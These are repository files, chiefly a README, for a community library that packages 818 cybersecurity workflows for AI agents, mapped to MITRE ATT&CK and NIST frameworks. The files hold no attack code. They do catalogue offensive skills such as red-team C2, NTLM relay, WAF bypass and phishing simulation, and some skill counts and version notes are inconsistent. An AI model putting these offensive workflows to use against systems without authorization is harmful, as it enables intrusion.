| **awesome-agent-skills** | Awesome List (index de 1000+ compétences) | VoltAgent/awesome-agent-skills |
| **awesome-ai-security** | Awesome List (outils de sécurité IA) | ottosulin/awesome-ai-security |
| **awesome-codex-cli** | Awesome List (ressources Codex CLI) | RoggeOhta/awesome-codex-cli |
| **SkillsLLM** | Annuaire & marketplace de compétences | skillsllm.com/skill/anthropic-cybersecurity-skills |
| **Openflows** | Analyse & suivi de signaux | openflows.org |
| **NeverSight skills_feed** | Index automatisé des compétences | NeverSight/skills_feed |
## Historique des étoiles
![Star History Chart](https://star-history.dera.page/svg?repos=mukul975/Anthropic-Cybersecurity-Skills&type=Date)
## Releases
| Version | Date | Points forts |
|--|--|--|
| v1.0.0 | 11 mars 2026 | 734 compétences · 26 domaines · Mappage MITRE ATT&CK + NIST CSF 2.0 · Couche ATT&CK Navigator |
Les compétences continuent de croître sur `main` depuis la v1.0.0 — la bibliothèque contient désormais **817 compétences** avec un **mappage sur 6 frameworks** (MITRE ATLAS, D3FEND, NIST AI RMF, et le MITRE Fight Fraud Framework ajoutés après la release). Consultez les Releases pour la dernière version taguée.
## Contribuer
Ce projet évolue grâce aux contributions de la communauté. Voici comment participer :
**Ajouter une nouvelle compétence** — Les domaines comme Deception Technology (6 compétences) et Hardware & Firmware Security (4 compétences) ont le plus besoin d'aide. Suivez le modèle dans CONTRIBUTING.md et soumettez une PR avec le titre `Add skill: nom-de-votre-competence`.
**Améliorer les compétences existantes** — Ajoutez des mappages de frameworks, corrigez les workflows, mettez à jour les références d'outils, ou contribuez avec des scripts et modèles.
**Signaler des problèmes** — Vous avez trouvé une procédure inexacte ou un script cassé ? Ouvrez une issue.
Chaque PR est revue pour sa précision technique et sa conformité au standard agentskills.io dans les 48 heures. Consultez les *good first issues* pour commencer.
Ce projet suit le Contributor Covenant. En participant, vous acceptez de respecter ce code.
## Communauté
💬 **Discussions** — Questions, idées et conversations sur la feuille de route
🐛 **Issues** — Rapports de bugs et demandes de fonctionnalités
🔒 **Politique de sécurité** — Processus de divulgation responsable (accusé de réception sous 48h)
## Citation
Si vous utilisez ce projet dans des recherches ou publications :
```bibtex
@software{anthropic_cybersecurity_skills,
author = {Jangra, Mahipal},
title = {Anthropic Cybersecurity Skills},
year = {2026},
url = {https://github.com/mukul975/Anthropic-Cybersecurity-Skills},
license = {Apache-2.0},
note = {817 compétences cybersécurité structurées pour agents IA,
mappées à MITRE ATT\&CK, NIST CSF 2.0, MITRE ATLAS,
MITRE D3FEND et NIST AI RMF}
}
```
## Licence
Ce projet est sous licence Apache License 2.0. Vous êtes libre d'utiliser, modifier et distribuer ces compétences dans des projets personnels comme commerciaux.
---
<div align="center">
**Si ce projet aide votre travail en sécurité, pensez à lui donner une ⭐**
> [⭐ Star](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/stargazers) · [🍴 Fork](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/fork) · [💬 Discuss](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/discussions) · [📝 Contribute](CONTRIBUTING.md~~~
*Projet communautaire par @mukul975. Non affilié à Anthropic PBC.*
</div>

View File

@@ -0,0 +1,465 @@
<p align="center">
<img src="assets/banner.png" alt="Anthropic Cybersecurity Skills" width="100%">
</p>
<div align="center">
# Anthropic Cybersecurity Skills
### The largest open-source cybersecurity skills library for AI agents
[![GARS-2026 Survey](https://img.shields.io/badge/GARS--2026-Take%20the%20Survey-E8B84B?style=for-the-badge&logo=googleforms&logoColor=black)](https://mahipal.engineer/survey?utm_source=github_badge&utm_medium=readme&utm_campaign=gars2026)
[![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg?style=flat-square)](LICENSE)
[![Skills](https://img.shields.io/badge/skills-818-brightgreen?style=flat-square)](#whats-inside--34-security-domains)
[![Frameworks](https://img.shields.io/badge/frameworks-6-orange?style=flat-square)](#six-frameworks-one-skill-library)
[![MITRE F3](https://img.shields.io/badge/MITRE-F3_v1.1-blue?style=flat-square)](https://ctid.mitre.org/fraud/)
[![Domains](https://img.shields.io/badge/domains-34-9cf?style=flat-square)](#whats-inside--34-security-domains)
[![Platforms](https://img.shields.io/badge/platforms-26%2B-blueviolet?style=flat-square)](#compatible-platforms)
[![GitHub stars](https://img.shields.io/github/stars/mukul975/Anthropic-Cybersecurity-Skills?style=flat-square)](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/stargazers)
[![GitHub forks](https://img.shields.io/github/forks/mukul975/Anthropic-Cybersecurity-Skills?style=flat-square)](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/network/members)
[![Last Commit](https://img.shields.io/github/last-commit/mukul975/Anthropic-Cybersecurity-Skills?style=flat-square)](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/commits/main)
[![agentskills.io](https://img.shields.io/badge/standard-agentskills.io-ff6600?style=flat-square)](https://agentskills.io)
[![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](CONTRIBUTING.md)
[![Playground](https://img.shields.io/badge/Playground-Casky.ai-blue)](https://casky.ai/?utm_source=github&utm_medium=readme&utm_campaign=cohort_launch#waitlist)
[![Hermes Agent](https://img.shields.io/badge/Hermes_Agent-compatible-blueviolet?style=flat)](https://github.com/NousResearch/hermes-agent)
**818 production-grade cybersecurity skills · 34 security domains · 6 framework mappings · 26+ AI platforms**
[Get Started](#quick-start) · [What's Inside](#whats-inside--34-security-domains) · [Frameworks](#six-frameworks-one-skill-library) · [Platforms](#compatible-platforms) · [Contributing](#contributing)
</div>
---
> ⚠️ **Community Project** — This is an independent, community-created project. Not affiliated with Anthropic PBC.
>
> 🔐 **Authorized & lawful use only.** This library includes offensive and dual-use techniques (e.g. red-team C2, phishing simulation, exploitation) intended for **authorized penetration testing, security research, defense, and education**. Only use them against systems you own or have **explicit written permission** to test, and comply with all applicable laws and rules of engagement. You are solely responsible for how you use these skills. See [SECURITY.md](SECURITY.md) and [CODE_OF_CONDUCT.md](CODE_OF_CONDUCT.md).
## Give any AI agent the security skills of a senior analyst
A junior analyst knows which Volatility3 plugin to run on a suspicious memory dump, which Sigma rules catch Kerberoasting, and how to scope a cloud breach across three providers. **Your AI agent doesn't — unless you give it these skills.**
This repo contains **818 structured cybersecurity skills** spanning **34 security domains**, each following the [agentskills.io](https://agentskills.io) open standard. The library maps across **six industry frameworks** — MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, MITRE D3FEND, NIST AI RMF, and the MITRE Fight Fraud Framework (F3) — with each skill mapped to the frameworks **relevant to its type** (a forensics skill carries ATT&CK + CSF; an AI-security skill adds ATLAS and AI RMF). Clone it, point your agent at it, and your next security investigation gets expert-level guidance in seconds.
## Six frameworks, one skill library
Each skill maps to the frameworks that fit its subject — ATT&CK and NIST CSF are near-universal, while ATLAS, AI RMF, D3FEND, and F3 apply where they're relevant. **Framework coverage across the 817 skills:** MITRE ATT&CK **805** · NIST CSF 2.0 **804** · MITRE D3FEND **139** · NIST AI RMF **97** · MITRE F3 **94** · MITRE ATLAS **93**.
| Framework | Version | Framework scope | What it maps |
|---|---|---|---|
| [MITRE ATT&CK](https://attack.mitre.org) | v19.1 | 15 tactics · Enterprise/Mobile/ICS | Adversary behaviors and TTPs |
| [NIST CSF 2.0](https://www.nist.gov/cyberframework) | 2.0 | 6 functions · 22 categories · 106 subcategories | Organizational security posture |
| [MITRE ATLAS](https://atlas.mitre.org) | 2026.07 | 101 techniques · 77 sub-techniques | AI/ML adversarial threats |
| [MITRE D3FEND](https://d3fend.mitre.org) | v1.4.0 | 270 techniques | Defensive countermeasures |
| [NIST AI RMF](https://airc.nist.gov/AI_RMF) | 1.0 | 4 functions (Govern/Map/Measure/Manage) | AI risk management |
| [MITRE F3 (Fight Fraud Framework)](https://ctid.mitre.org/fraud/) | v1.1 (2026-04-09) | 8 tactics · 123 techniques · 94 fraud-relevant skills | Cyber-enabled financial fraud TTPs |
**Example — each skill maps only to the frameworks relevant to it (one may hit all six, another just a couple):**
| Skill | ATT&CK | NIST CSF | ATLAS | D3FEND | AI RMF | F3 |
|---|---|---|---|---|---|---|
| `analyzing-network-traffic-of-malware` | T1071 | DE.CM | AML.T0047 | D3-NTA | MEASURE-2.6 | — |
| `detecting-business-email-compromise` | T1566 | DE.AE | — | — | — | F1005.006 · monetization |
### 🆕 MITRE Fight Fraud Framework (F3) — 94 fraud-relevant skills
[![MITRE F3](https://img.shields.io/badge/MITRE-F3_v1.1-blue?style=flat-square)](https://ctid.mitre.org/fraud/)
The **[MITRE Fight Fraud Framework (F3)](https://ctid.mitre.org/fraud/)** was released **April 9, 2026** by MITRE's Center for Threat-Informed Defense (CTID), co-developed with JPMorganChase, Citigroup, Lloyds Banking Group, Standard Chartered, CrowdStrike, Verizon Business, FS-ISAC, and others. It is an ATT&CK-compatible TTP catalog for **cyber-enabled financial fraud** — filling the gap ATT&CK leaves after initial compromise.
F3 v1.1 adds **two fraud-specific tactics** that ATT&CK does not enumerate:
- **Positioning** (`FA0001`) — actions taken after access to collect/manipulate data and prepare the fraud (synthetic-identity seeding, account warming, beneficiary setup, SIM-swap pre-positioning, banking-session hijack).
- **Monetization** (`FA0002`) — converting stolen assets into usable funds (money-mule layering, APP fraud, crypto off-ramping, card cash-out, refund/chargeback abuse).
Fraud-specific techniques use `F1XXX` IDs (e.g. `F1005.003` Add Beneficiary, `F1025.003` Wire Transfer, `F1007` Adversary-in-the-Browser); reused ATT&CK techniques keep their `T1XXX` IDs. Mappings live in each skill's `mitre_f3:` frontmatter block — all 123 F3 v1.1 technique IDs were verified against the upstream STIX bundle. See [`docs/mitre-f3-mapping.md`](docs/mitre-f3-mapping.md) for the schema.
### MITRE ATT&CK v19.1 — 805/817 skills mapped
Every skill carries a `mitre_attack` frontmatter list validated against **MITRE ATT&CK v19.1** (the latest release) using the official `mitreattack-python` library — 290 distinct techniques and sub-techniques (146 base + 144 sub) across Enterprise, ICS, and Mobile. Zero revoked or deprecated IDs. v19.1's restructured Defense Evasion (now split into **Stealth** and **Defense Impairment**) is reflected below.
| Tactic | ID | Skills |
|--------|----|--------|
| Reconnaissance | TA0043 | 103 |
| Resource Development | TA0042 | 22 |
| Initial Access | TA0001 | 467 |
| Execution | TA0002 | 350 |
| Persistence | TA0003 | 444 |
| Privilege Escalation | TA0004 | 464 |
| Stealth | TA0005 | 442 |
| Defense Impairment | TA0112 | 92 |
| Credential Access | TA0006 | 202 |
| Discovery | TA0007 | 237 |
| Lateral Movement | TA0008 | 68 |
| Collection | TA0009 | 172 |
| Command and Control | TA0011 | 123 |
| Exfiltration | TA0010 | 82 |
| Impact | TA0040 | 50 |
## Quick start
```bash
# Option 1: npx (recommended)
npx skills add mukul975/Anthropic-Cybersecurity-Skills
# Option 2: Git clone
git clone https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git
cd Anthropic-Cybersecurity-Skills
```
Works immediately with Claude Code, GitHub Copilot, OpenAI Codex CLI, Cursor, Gemini CLI, and any [agentskills.io](https://agentskills.io)-compatible platform.
## 🌍 GARS-2026 — Global Agentic AI Readiness Survey
I'm running a global academic study measuring how ready security professionals,
developers, and enterprise teams actually are for agentic AI — MCP servers,
tool calling, governance, and human-in-the-loop workflows.
**If you use this repo, your response would be a genuinely valuable data point.**
📋 **Take the survey (10 min):**
[Survey Link](https://mahipal.engineer/survey?utm_source=github_repo&utm_medium=readme&utm_campaign=gars2026)
- 60 questions · Anonymous · Supervised by SRH Berlin
- You get **50 Casky Tokens** for early access to [casky.ai](https://casky.ai)
- Results published open access under CC-BY 4.0
## 🚀 Try it on the Playground
Experience Casky.ai hands-on — no setup required.
**[→ Launch Playground on Casky.ai](https://casky.ai/?utm_source=github&utm_medium=readme&utm_campaign=cohort_launch#waitlist)**
The playground lets you:
- Run live cybersecurity skill exercises against real targets
- See AI agents execute structured skills in real time
- Explore MITRE ATT&CK mapped workflows interactively
- Test threat hunting, DFIR, and penetration testing scenarios
No installation. No configuration. Just open and start.
## Why this exists
The cybersecurity workforce gap hit **4.8 million unfilled roles** globally in 2024 (ISC2). AI agents can help close that gap — but only if they have structured domain knowledge to work from. Today's agents can write code and search the web, but they lack the practitioner playbooks that turn a generic LLM into a capable security analyst.
Existing security tool repos give you wordlists, payloads, or exploit code. None of them give an AI agent the structured decision-making workflow a senior analyst follows: when to use each technique, what prerequisites to check, how to execute step-by-step, and how to verify results. That is the gap this project fills.
**Anthropic Cybersecurity Skills** is not a collection of scripts or checklists. It is an **AI-native knowledge base** built from the ground up for the agentskills.io standard — YAML frontmatter for sub-second discovery, structured Markdown for step-by-step execution, and reference files for deep technical context. Every skill encodes real practitioner workflows, not generated summaries.
## What's inside — 34 security domains
| Domain | Skills | Key capabilities |
|---|---|---|
| Cloud Security | 66 | AWS, Azure, GCP hardening · CSPM · cloud attack emulation · cloud forensics |
| SOC Operations | 63 | Playbooks · escalation workflows · Graph-log detection · tabletop exercises |
| Threat Hunting | 58 | Hypothesis-driven hunts · LOTL detection · EVTX hunting · fleet hunting |
| Threat Intelligence | 52 | STIX/TAXII · MISP · OpenCTI · feed integration · actor profiling |
| Web Application Security | 46 | OWASP Top 10 · SQLi · XSS · SSRF · deserialization |
| Network Security | 43 | IDS/IPS · firewall rules · VLAN segmentation · traffic analysis |
| Digital Forensics | 41 | Disk imaging · memory forensics · Hayabusa/KAPE/Plaso timelines |
| Identity & Access Management | 40 | Entra ID/ROADtools · device-code phishing · PAM · zero trust identity |
| Malware Analysis | 39 | Static/dynamic analysis · reverse engineering · sandboxing |
| Red Teaming | 35 | ADCS/Certipy · BloodHound CE · Sliver/Havoc C2 · NTLM relay |
| Container Security | 33 | K8s RBAC · image scanning · Falco · container escape |
| OT/ICS Security | 29 | Modbus · DNP3 · IEC 62443 · historian defense · SCADA |
| API Security | 28 | GraphQL · REST · OWASP API Top 10 · WAF bypass |
| Incident Response | 26 | Breach containment · ransomware response · IR playbooks |
| Vulnerability Management | 25 | Nessus · scanning workflows · patch prioritization · CVSS |
| Penetration Testing | 23 | Network · web · cloud · mobile · NetExec lateral movement |
| DevSecOps | 18 | CI/CD security · Trivy IaC/image scanning · code signing |
| Zero Trust Architecture | 18 | BeyondCorp · CISA maturity model · microsegmentation |
| Endpoint Security | 17 | EDR · LOTL detection · fileless malware · persistence hunting |
| Phishing Defense | 16 | Email authentication · BEC detection · phishing IR |
| Cryptography | 16 | TLS · Ed25519 · post-quantum migration · key management |
| AI Security | 14 | LLM red-teaming (garak/PyRIT) · prompt injection · MCP/agentic security · guardrails |
| Mobile Security | 13 | Android/iOS analysis · mobile pentesting · MDM forensics |
| Ransomware Defense | 13 | Precursor detection · response · recovery · encryption analysis |
| Compliance & Governance | 10 | NIST 800-30/RMF · CMMC · HIPAA · TPRM · CIS benchmarks |
| Supply Chain Security | 8 | SBOMs · dependency confusion · malicious-package triage · SLSA/Sigstore |
| Threat Detection | 7 | Credential dumping · golden-ticket forgery · pass-the-ticket · LOLBAS · UEBA insider signals |
| Hardware & Firmware Security | 6 | CHIPSEC/UEFI audit · Secure Boot bypass · TPM attestation · bootkit hunting |
| Deception Technology | 6 | Honeytokens · canarytokens · breach detection |
| Blockchain Security | 2 | Ethereum smart-contract vulnerabilities · Foundry audit workflows |
| Wireless Security | 2 | Bluetooth Low Energy attack detection · BLE security assessment |
| Privacy Compliance | 2 | GDPR data-subject access requests · privacy impact assessments |
| Data Protection | 1 | Data loss prevention with Microsoft Purview |
| Purple Team | 1 | Atomic Red Team purple-team testing |
*817 skills across 34 domains. Counts come from the `subdomain` field in each skill's frontmatter.*
## How AI agents use these skills
Each skill costs **~30 tokens to scan** (frontmatter only) and **500–2,000 tokens to fully load** (complete workflow). This progressive disclosure architecture lets agents search all 818 skills in a single pass without blowing context windows.
```
User prompt: "Analyze this memory dump for signs of credential theft"
Agent's internal process:
1. Scans 818 skill frontmatters (~30 tokens each)
→ identifies 12 relevant skills by matching tags, description, domain
2. Loads top 3 matches:
• performing-memory-forensics-with-volatility3
• hunting-for-credential-dumping-lsass
• analyzing-windows-event-logs-for-credential-access
3. Executes the structured Workflow section step-by-step
→ runs Volatility3 plugins, checks LSASS access patterns,
correlates with event log evidence
4. Validates results using the Verification section
→ confirms IOCs, maps findings to ATT&CK T1003 (Credential Dumping)
```
**Without these skills**, the agent guesses at tool commands and misses critical steps. **With them**, it follows the same playbook a senior DFIR analyst would use.
## Skill anatomy
Every skill follows a consistent directory structure:
```
skills/performing-memory-forensics-with-volatility3/
├── SKILL.md ← Skill definition (YAML frontmatter + Markdown body)
├── references/
│ ├── standards.md ← MITRE ATT&CK, ATLAS, D3FEND, NIST mappings
│ └── workflows.md ← Deep technical procedure reference
├── scripts/
│ └── process.py ← Working helper scripts
└── assets/
└── template.md ← Filled-in checklists and report templates
```
### YAML frontmatter (real example)
```yaml
---
name: performing-memory-forensics-with-volatility3
description: >-
Analyze memory dumps to extract running processes, network connections,
injected code, and malware artifacts using the Volatility3 framework.
domain: cybersecurity
subdomain: digital-forensics
tags: [forensics, memory-analysis, volatility3, incident-response, dfir]
atlas_techniques: [AML.T0047]
d3fend_techniques: [D3-MA, D3-PSMD]
nist_ai_rmf: [MEASURE-2.6]
nist_csf: [DE.CM-01, RS.AN-03]
version: "1.2"
author: mukul975
license: Apache-2.0
---
```
### Markdown body sections
```markdown
## When to Use
Trigger conditions — when should an AI agent activate this skill?
## Prerequisites
Required tools, access levels, and environment setup.
## Workflow
Step-by-step execution guide with specific commands and decision points.
## Verification
How to confirm the skill was executed successfully.
```
Frontmatter fields: `name` (kebab-case, 1–64 chars), `description` (keyword-rich for agent discovery), `domain`, `subdomain`, `tags`, `atlas_techniques` (MITRE ATLAS IDs), `d3fend_techniques` (MITRE D3FEND IDs), `nist_ai_rmf` (NIST AI RMF references), `nist_csf` (NIST CSF 2.0 categories). MITRE ATT&CK technique mappings are documented in each skill's `references/standards.md` file and in the ATT&CK Navigator layer included with releases.
<details>
<summary><strong>📊 MITRE ATT&CK Enterprise coverage — all 15 tactics</strong></summary>
&nbsp;
| Tactic | ID | Coverage | Key skills |
|---|---|---|---|
| Reconnaissance | TA0043 | Strong | OSINT, subdomain enumeration, DNS recon |
| Resource Development | TA0042 | Moderate | Phishing infrastructure, C2 setup detection |
| Initial Access | TA0001 | Strong | Phishing simulation, exploit detection, forced browsing |
| Execution | TA0002 | Strong | PowerShell analysis, fileless malware, script block logging |
| Persistence | TA0003 | Strong | Scheduled tasks, registry, service accounts, LOTL |
| Privilege Escalation | TA0004 | Strong | Kerberoasting, AD attacks, cloud privilege escalation |
| Stealth | TA0005 | Strong | Obfuscation, rootkit analysis, evasion detection |
| Defense Impairment | TA0112 | Moderate | Impair Defenses (T1562), log/indicator removal, EDR tampering |
| Credential Access | TA0006 | Strong | Mimikatz detection, pass-the-hash, credential dumping |
| Discovery | TA0007 | Moderate | BloodHound, AD enumeration, network scanning |
| Lateral Movement | TA0008 | Strong | SMB exploits, lateral movement detection with Splunk |
| Collection | TA0009 | Moderate | Email forensics, data staging detection |
| Command and Control | TA0011 | Strong | C2 beaconing, DNS tunneling, Cobalt Strike analysis |
| Exfiltration | TA0010 | Strong | DNS exfiltration, DLP controls, data loss detection |
| Impact | TA0040 | Strong | Ransomware defense, encryption analysis, recovery |
An **ATT&CK Navigator layer file** is included in the [v1.0.0 release assets](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/releases/tag/v1.0.0) for visual coverage mapping.
> **Note:** ATT&CK v19 lands April 28, 2026 — splitting Defense Evasion (TA0005) into two new tactics: *Stealth* and *Impair Defenses*. Skill mappings will be updated in a forthcoming release.
</details>
<details>
<summary><strong>📊 NIST CSF 2.0 alignment — all 6 functions</strong></summary>
&nbsp;
| Function | Skills | Examples |
|---|---|---|
| **Govern (GV)** | 30+ | Risk strategy, policy frameworks, roles & responsibilities |
| **Identify (ID)** | 120+ | Asset discovery, threat landscape assessment, risk analysis |
| **Protect (PR)** | 150+ | IAM hardening, WAF rules, zero trust, encryption |
| **Detect (DE)** | 200+ | Threat hunting, SIEM correlation, anomaly detection |
| **Respond (RS)** | 160+ | Incident response, forensics, breach containment |
| **Recover (RC)** | 40+ | Ransomware recovery, BCP, disaster recovery |
NIST CSF 2.0 (February 2024) added the **Govern** function and expanded scope from critical infrastructure to all organizations. Skill mappings align to all 22 categories and reference 106 subcategories.
</details>
<details>
<summary><strong>📊 Framework deep dive — ATLAS, D3FEND, AI RMF</strong></summary>
&nbsp;
### MITRE ATLAS 2026.07 — AI/ML adversarial threats
ATLAS maps adversarial tactics, techniques, and case studies specific to AI and machine learning systems. Release 2026.07 covers **101 techniques and 77 sub-techniques** including agentic AI attack vectors added in late 2025: AI agent context poisoning, tool invocation abuse, MCP server compromises, and malicious agent deployment. Skills mapped to ATLAS help agents identify and defend against threats to ML pipelines, model weights, inference APIs, and autonomous workflows.
### MITRE D3FEND v1.4.0 — Defensive countermeasures
D3FEND is an NSA-funded knowledge graph of **270 defensive techniques** organized across 7 tactical categories: Model, Harden, Detect, Isolate, Deceive, Evict, and Restore. Built on OWL 2 ontology, it uses a shared Digital Artifact layer to bidirectionally map defensive countermeasures to ATT&CK offensive techniques. Skills tagged with D3FEND identifiers let agents recommend specific countermeasures for detected threats.
### NIST AI RMF 1.0 + GenAI Profile (AI 600-1)
The AI Risk Management Framework defines 4 core functions — Govern, Map, Measure, Manage — with **72 subcategories** for trustworthy AI development. The GenAI Profile (AI 600-1, July 2024) adds **12 risk categories** specific to generative AI, from confabulation and data privacy to prompt injection and supply chain risks. Colorado's AI Act (effective February 2026) provides a **legal safe harbor** for organizations complying with NIST AI RMF, making these mappings directly relevant to regulatory compliance.
</details>
## Compatible platforms
**AI code assistants**
Claude Code (Anthropic) · GitHub Copilot (Microsoft) · Cursor · Windsurf · Cline · Aider · Continue · Roo Code · Amazon Q Developer · Tabnine · Sourcegraph Cody · JetBrains AI
**CLI agents**
OpenAI Codex CLI · Gemini CLI (Google)
**Autonomous agents**
Devin · Replit Agent · SWE-agent · OpenHands
**Agent frameworks & SDKs**
LangChain · CrewAI · AutoGen · Semantic Kernel · Haystack · Vercel AI SDK · Any MCP-compatible agent
All platforms that support the [agentskills.io](https://agentskills.io) standard can load these skills with zero configuration.
## What people are saying
> *"A database of real, organized security skills that any AI agent can plug into and use. Not tutorials. Not blog posts."*
> — **[Hasan Toor (@hasantoxr)](https://x.com/hasantoxr/status/2033193922349179249)**, AI/tech creator
> *"This is not a random collection of security scripts. It's a structured operational knowledge base designed for AI-driven security workflows."*
> — **[fazal-sec](https://fazal-sec.medium.com/claude-skills-ai-powered-cybersecurity-the-complete-guide-to-building-intelligent-security-7bb7e9d14c8e)**, Medium
## Featured in
| Where | Type | Link |
|---|---|---|
| **awesome-agent-skills** | Awesome List (1,000+ skills index) | [VoltAgent/awesome-agent-skills](https://github.com/VoltAgent/awesome-agent-skills) |
| **awesome-ai-security** | Awesome List (AI security tools) | [ottosulin/awesome-ai-security](https://github.com/ottosulin/awesome-ai-security) |
| **awesome-codex-cli** | Awesome List (Codex CLI resources) | [RoggeOhta/awesome-codex-cli](https://github.com/RoggeOhta/awesome-codex-cli) |
| **SkillsLLM** | Skills directory & marketplace | [skillsllm.com/skill/anthropic-cybersecurity-skills](https://skillsllm.com/skill/anthropic-cybersecurity-skills) |
| **Openflows** | Signal analysis & tracking | [openflows.org](https://openflows.org/currency/currents/anthropic-cybersecurity-skills/) |
| **NeverSight skills_feed** | Automated skills index | [NeverSight/skills_feed](https://github.com/NeverSight/skills_feed) |
## Star history
<a href="https://star-history.dera.page/#mukul975/Anthropic-Cybersecurity-Skills&Date">
<picture>
<source media="(prefers-color-scheme: dark)" srcset="https://star-history.dera.page/svg?repos=mukul975/Anthropic-Cybersecurity-Skills&type=Date&theme=dark" />
<source media="(prefers-color-scheme: light)" srcset="https://star-history.dera.page/svg?repos=mukul975/Anthropic-Cybersecurity-Skills&type=Date" />
<img alt="Star History Chart" src="https://star-history.dera.page/svg?repos=mukul975/Anthropic-Cybersecurity-Skills&type=Date" width="100%" />
</picture>
</a>
## Releases
| Version | Date | Highlights |
|---|---|---|
| [v1.0.0](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/releases/tag/v1.0.0) | March 11, 2026 | 734 skills · 26 domains · MITRE ATT&CK + NIST CSF 2.0 mapping · ATT&CK Navigator layer |
Skills have continued to grow on `main` since v1.0.0 — the library now contains **818 skills** with **6-framework mapping** (MITRE ATLAS, D3FEND, NIST AI RMF, and the MITRE Fight Fraud Framework added post-release). Check [Releases](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/releases) for the latest tagged version.
## Contributing
This project grows through community contributions. Here is how to get involved:
**Add a new skill** — Read [SCOPE.md](SCOPE.md) first, then the template in [CONTRIBUTING.md](CONTRIBUTING.md). The thinnest domains are the ones most worth adding to: Data Protection and Purple Team have one skill each, and Blockchain Security, Wireless Security and Privacy Compliance have two. Submit one skill per PR, with the title `Add skill: your-skill-name`.
**Improve existing skills** — Add framework mappings, fix workflows, update tool references, or contribute scripts and templates. Deepening a skill that already exists is worth as much to this library as adding a new one.
**Report issues** — Found an inaccurate procedure or broken script? [Open an issue](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues).
Every PR is reviewed for technical accuracy and agentskills.io standard compliance. I do that review myself, and the queue is currently longer than I would like — some pull requests have been open for months. I am working through them, and small, focused PRs move fastest. Check [good first issues](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues?q=is%3Aissue+is%3Aopen+label%3A%22good+first+issue%22) for a starting point.
This project follows the [Contributor Covenant](https://www.contributor-covenant.org/). By participating, you agree to uphold this code.
## 🙏 Thanks to our contributors
This library is built by the community. Thank you to everyone who has contributed:
<!-- contributors:start -->
<p align="center">
<a href="https://github.com/mukul975" title="mukul975 — maintainer"><img src="https://github.com/mukul975.png?size=100" width="72" height="72" alt="@mukul975"></a>
<a href="https://github.com/valorisa" title="valorisa — 18 contributions"><img src="https://github.com/valorisa.png?size=100" width="72" height="72" alt="@valorisa"></a>
<a href="https://github.com/juliosuas" title="juliosuas — 13 contributions"><img src="https://github.com/juliosuas.png?size=100" width="72" height="72" alt="@juliosuas"></a>
<a href="https://github.com/Daytona39264" title="Daytona39264 — 3 contributions"><img src="https://github.com/Daytona39264.png?size=100" width="72" height="72" alt="@Daytona39264"></a>
<a href="https://github.com/kevglynn" title="kevglynn — 2 contributions"><img src="https://github.com/kevglynn.png?size=100" width="72" height="72" alt="@kevglynn"></a>
<a href="https://github.com/andrewibrah" title="andrewibrah — 2 contributions"><img src="https://github.com/andrewibrah.png?size=100" width="72" height="72" alt="@andrewibrah"></a>
<a href="https://github.com/Bortlesboat" title="Bortlesboat — 1 contribution"><img src="https://github.com/Bortlesboat.png?size=100" width="72" height="72" alt="@Bortlesboat"></a>
<a href="https://github.com/DevRedious" title="DevRedious — 1 contribution"><img src="https://github.com/DevRedious.png?size=100" width="72" height="72" alt="@DevRedious"></a>
<a href="https://github.com/ioxoi" title="ioxoi — 1 contribution"><img src="https://github.com/ioxoi.png?size=100" width="72" height="72" alt="@ioxoi"></a>
<a href="https://github.com/OctoBored" title="OctoBored — 1 contribution"><img src="https://github.com/OctoBored.png?size=100" width="72" height="72" alt="@OctoBored"></a>
<a href="https://github.com/shanujans" title="shanujans — 1 contribution"><img src="https://github.com/shanujans.png?size=100" width="72" height="72" alt="@shanujans"></a>
<a href="https://github.com/farhan6667" title="farhan6667 — 1 contribution"><img src="https://github.com/farhan6667.png?size=100" width="72" height="72" alt="@farhan6667"></a>
<a href="https://github.com/dakshverma23" title="dakshverma23 — 1 contribution"><img src="https://github.com/dakshverma23.png?size=100" width="72" height="72" alt="@dakshverma23"></a>
<a href="https://github.com/nyxst4ck" title="nyxst4ck — 1 contribution"><img src="https://github.com/nyxst4ck.png?size=100" width="72" height="72" alt="@nyxst4ck"></a>
</p>
<p align="center"><sub>14 contributors, ordered by contribution count · see the full <a href="https://github.com/mukul975/Anthropic-Cybersecurity-Skills/graphs/contributors">contributor graph</a></sub></p>
<!-- contributors:end -->
## Community
💬 [Discussions](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/discussions) — Questions, ideas, and roadmap conversations
🐛 [Issues](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/issues) — Bug reports and feature requests
🔒 [Security Policy](SECURITY.md) — Responsible disclosure process (48-hour acknowledgment)
## Citation
If you use this project in research or publications:
```bibtex
@software{anthropic_cybersecurity_skills,
author = {Jangra, Mahipal},
title = {Anthropic Cybersecurity Skills},
year = {2026},
url = {https://github.com/mukul975/Anthropic-Cybersecurity-Skills},
license = {Apache-2.0},
note = {818 structured cybersecurity skills for AI agents,
mapped to MITRE ATT\&CK, NIST CSF 2.0, MITRE ATLAS,
MITRE D3FEND, and NIST AI RMF}
}
```
## License
This project is licensed under the [Apache License 2.0](LICENSE). You are free to use, modify, and distribute these skills in both personal and commercial projects.
---
<div align="center">
**If this project helps your security work, consider giving it a ⭐**
[⭐ Star](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/stargazers) · [🍴 Fork](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/fork) · [💬 Discuss](https://github.com/mukul975/Anthropic-Cybersecurity-Skills/discussions) · [📝 Contribute](CONTRIBUTING.md)
Community project by [@mukul975](https://github.com/mukul975). Not affiliated with Anthropic PBC.
</div>

View File

@@ -0,0 +1,82 @@
# Scope
This document defines what belongs in this repository and what does not.
It exists so the answer is available *before* the work is done rather than after it. Several of the pull requests I have had to decline were good work aimed at the wrong repository, and that is a documentation failure on my side, not a failure on the contributor's.
